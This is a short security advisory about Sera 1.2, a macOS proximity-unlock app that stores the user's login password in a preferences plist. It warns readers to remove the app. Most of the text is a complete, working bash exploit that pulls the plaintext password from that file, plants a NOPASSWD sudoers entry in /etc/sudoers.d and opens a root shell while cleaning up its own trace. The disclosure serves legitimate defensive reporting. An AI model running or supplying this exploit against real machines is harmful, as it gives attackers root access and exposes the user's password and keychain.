Sera is a free app for mac and iOS that lets you unlock your mac automatically
when your iphone is within a configured proximity.

Unfortunately to facilitate this it stores the users login password in their
home directory at:

~/Library/Preferences/no.ignitum.SeraOSX.plist

This makes root privilege escalation trivial and worse than that even
facilitates dumping the keychain as we can easily obtain the user's login
password. If they are an admin user we can even dump items from the system
keychain.

The author of Sera has said he will shut the project down and make the code
publicly available so no fix is likely to be forthcoming anytime soon.

It is strongly recommended not to use this app and if you have done so in the
past make sure you remove this file that contains your login password.

https://m4.rkw.io/sera_1.2.sh.txt
dbf4f7b64cac8a60a2c7b3ba2a3988b84a148a3f6e31bcb58d4554e5e74d8edf
-------------------------------------------------------------------------
#!/bin/bash

##############################################################
###### sera 1.2 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html           ######
##############################################################

sera_pass=`plutil -p ~/Library/Preferences/no.ignitum.SeraOSX.plist |grep '"sera_pass"' |cut -d '"' -f4`

if [ "$sera_pass" == "" ] ; then
  echo "Password not found."
  exit 1
fi

echo "user's password is: $sera_pass"

user="`whoami`"

echo "$user ALL=(ALL) NOPASSWD:ALL" > /tmp/sera_12_exp

echo "$sera_pass" | sudo -S chown root:wheel /tmp/sera_12_exp 1>/dev/null 2>/dev/null
echo "$sera_pass" | sudo -S mv /tmp/sera_12_exp /etc/sudoers.d/sera_12_exp 1>/dev/null 2>/dev/null

sudo bash -c 'rm -f /etc/sudoers.d/sera_12_exp; /bin/bash'